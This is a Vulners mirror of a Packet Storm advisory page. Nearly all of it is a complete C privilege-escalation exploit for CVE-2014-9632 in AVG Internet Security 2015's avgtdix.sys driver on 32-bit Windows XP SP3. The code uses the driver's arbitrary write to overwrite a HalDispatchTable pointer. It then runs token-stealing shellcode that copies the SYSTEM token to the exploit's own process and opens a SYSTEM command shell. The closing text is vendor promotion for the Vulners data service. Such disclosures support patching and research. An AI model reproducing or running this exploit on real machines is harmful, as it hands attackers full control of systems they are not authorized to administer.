Lucene search
K

AVG Internet Security 2015.0.5315 Privilege Escalation

🗓️ 05 Feb 2015 00:00:00Reported by Parvez AnwarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

AVG Internet Security 2015 Arbitrary Write Privilege Escalation affecting 32bit Windows XP SP

Related
Code
`/*  
  
Exploit Title - AVG Internet Security 2015 Arbitrary Write Privilege Escalation  
Date - 04th February 2015  
Discovered by - Parvez Anwar (@parvezghh)  
Vendor Homepage - http://www.avg.com/  
Tested Version - 2015.0.5315  
Driver Version - 15.0.0.5204 - avgtdix.sys  
Tested on OS - 32bit Windows XP SP3  
OSVDB - http://www.osvdb.org/show/osvdb/113824  
CVE ID - CVE-2014-9632  
Vendor fix url - http://www.avg.com/eu-en/avg-release-notes  
Fixed Version - 2015.0.5557  
Fixed driver ver - 15.0.0.5553  
  
  
  
Note  
----  
Overwritten HAL dispatch table after exploit  
  
kd> dps nt!HalDispatchTable l c  
8054ccb8 00000003  
8054ccbc 00340000  
8054ccc0 8678d9a0  
8054ccc4 0a050002  
8054ccc8 6e66744e  
8054cccc 001c0707  
8054ccd0 00000180  
8054ccd4 000001a4  
8054ccd8 867d6690  
8054ccdc 86706480  
8054cce0 00000000  
8054cce4 804e42d1 nt!ObpTraceDepth+0x19  
  
10 pointers get overwritten. Since input buffer is in our control and pointers  
are static in XP I've triggered the overwrite again restoring the pointers.  
  
*/  
  
  
#include <stdio.h>  
#include <windows.h>  
  
#define BUFSIZE 4096  
  
  
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {  
PVOID Unknown1;  
PVOID Unknown2;  
PVOID Base;  
ULONG Size;  
ULONG Flags;  
USHORT Index;  
USHORT NameLength;  
USHORT LoadCount;  
USHORT PathLength;  
CHAR ImageName[256];  
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;  
  
typedef struct _SYSTEM_MODULE_INFORMATION {  
ULONG Count;  
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];  
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;  
  
typedef enum _SYSTEM_INFORMATION_CLASS {  
SystemModuleInformation = 11,  
SystemHandleInformation = 16  
} SYSTEM_INFORMATION_CLASS;  
  
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(  
SYSTEM_INFORMATION_CLASS SystemInformationClass,  
PVOID SystemInformation,  
ULONG SystemInformationLength,  
PULONG ReturnLength);  
  
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(  
DWORD ProfileSource,  
PULONG Interval);  
  
typedef void (*FUNCTPTR)();  
  
  
  
// Windows XP SP3  
  
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct  
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct  
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct  
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct  
  
  
BYTE token_steal_xp[] =  
{  
0x52, // push edx Save edx on the stack  
0x53, // push ebx Save ebx on the stack  
0x33,0xc0, // xor eax, eax eax = 0  
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD  
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS  
0x8b,0xc8, // mov ecx, eax  
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN  
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks  
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)  
0x75,0xe8, // jne ----  
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX  
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX  
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS  
0x5b, // pop ebx Restores ebx  
0x5a, // pop edx Restores edx  
0xc2,0x08 // ret 8 Away from the kernel   
};  
  
  
  
BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable  
"\xf2\xa3\x6f\x80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation  
"\xce\xa3\x6f\x80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation  
"\x0b\x46\x61\x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots  
"\x00\x00\x00\x00" // 8054ccc8 00000000  
"\x4d\xac\x50\x80" // 8054cccc 8050ac4d nt!HalExamineMBR  
"\x89\x6f\x5c\x80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters  
"\xe5\x4a\x5c\x80" // 8054ccd4 805c4ae5 nt!IoReadPartitionTable  
"\x7b\x3f\x61\x80" // 8054ccd8 80613f7b nt!IoSetPartitionInformation  
"\xef\x41\x61\x80" // 8054ccdc 806141ef nt!IoWritePartitionTable  
"\x57\xd1\x52\x80"; // 8054cce0 8052d157 nt!CcHasInactiveViews  
  
  
  
DWORD HalDispatchTableAddress()  
{  
_NtQuerySystemInformation NtQuerySystemInformation;  
PSYSTEM_MODULE_INFORMATION pModuleInfo;  
DWORD HalDispatchTable;  
CHAR kFullName[256];  
PVOID kBase = NULL;  
LPSTR kName;  
HMODULE Kernel;  
FUNCTPTR Hal;  
ULONG len;  
NTSTATUS status;  
  
  
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");  
  
if (!NtQuerySystemInformation)  
{  
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");  
return -1;   
}  
  
status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);  
  
if (!status)  
{  
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);  
return -1;  
}  
  
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);  
  
if(pModuleInfo == NULL)  
{  
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");  
return -1;  
}  
  
status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);  
  
memset(kFullName, 0x00, sizeof(kFullName));  
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);  
kBase = pModuleInfo->Module[0].Base;  
  
printf("[i] Kernel base name %s\n", kFullName);  
kName = strrchr(kFullName, '\\');  
  
Kernel = LoadLibraryA(++kName);  
  
if(Kernel == NULL)  
{  
printf("[-] Failed to load kernel base\n\n");  
return -1;  
}  
  
Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");  
  
if(Hal == NULL)  
{  
printf("[-] Failed to find HalDispatchTable\n\n");  
return -1;  
}  
  
printf("[i] HalDispatchTable address 0x%08x\n", Hal);   
printf("[i] Kernel handle 0x%08x\n", Kernel);  
printf("[i] Kernel base address 0x%08x\n", kBase);   
  
HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);  
  
printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);  
  
if(!HalDispatchTable)  
{  
printf("[-] Failed to calculate HalDispatchTable\n\n");  
return -1;  
}  
  
return HalDispatchTable;  
}  
  
  
int GetWindowsVersion()  
{  
int v = 0;  
DWORD version = 0, minVersion = 0, majVersion = 0;  
  
version = GetVersion();  
  
minVersion = (DWORD)(HIBYTE(LOWORD(version)));  
majVersion = (DWORD)(LOBYTE(LOWORD(version)));  
  
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;  
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";  
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;  
  
return v;  
}  
  
  
void spawnShell()  
{  
STARTUPINFOA si;  
PROCESS_INFORMATION pi;  
  
  
ZeroMemory(&pi, sizeof(pi));  
ZeroMemory(&si, sizeof(si));  
si.cb = sizeof(si);  
  
si.cb = sizeof(si);  
si.dwFlags = STARTF_USESHOWWINDOW;  
si.wShowWindow = SW_SHOWNORMAL;  
  
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))  
{  
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());  
return;  
}  
  
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);  
}  
  
  
  
int main(int argc, char *argv[])  
{  
  
_NtQueryIntervalProfile NtQueryIntervalProfile;  
LPVOID input[1] = {0};   
LPVOID addrtoshell;  
HANDLE hDevice;  
DWORD dwRetBytes = 0;  
DWORD HalDispatchTableTarget;  
ULONG time = 0;  
unsigned char devhandle[MAX_PATH];  
  
  
printf("-------------------------------------------------------------------------------\n");  
printf(" AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit \n");  
printf(" Tested on Windows XP SP3 (32bit) \n");  
printf("-------------------------------------------------------------------------------\n\n");  
  
if (GetWindowsVersion() == 1)  
{  
printf("[i] Running Windows XP\n");  
}  
  
if (GetWindowsVersion() == 0)  
{  
printf("[i] Exploit not supported on this OS\n\n");  
return -1;  
}   
  
sprintf(devhandle, "\\\\.\\%s", "avgtdi");  
  
NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");  
  
if (!NtQueryIntervalProfile)  
{  
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");  
return -1;   
}  
  
addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
  
if(addrtoshell == NULL)  
{  
printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());  
return -1;  
}  
printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);  
  
memset(addrtoshell, 0x90, BUFSIZE);  
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));  
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));  
  
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);  
  
if (hDevice == INVALID_HANDLE_VALUE)  
{  
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());  
return -1;  
}  
else  
{  
printf("[+] Open %s device successful\n", devhandle);  
}  
  
HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);  
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);  
  
input[0] = addrtoshell; // input buffer contents gets written to our output buffer address  
  
printf("[+] Input buffer contents %08x\n", input[0]);  
  
printf("[~] Press any key to send Exploit . . .\n");  
getch();  
  
DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);  
  
printf("[+] Buffer sent\n");  
  
printf("[+] Spawning SYSTEM Shell\n");  
NtQueryIntervalProfile(2, &time);  
spawnShell();  
  
printf("[+] Restoring Hal dispatch table pointers\n\n");  
  
DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);  
  
CloseHandle(hDevice);  
  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Feb 2015 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.01815
36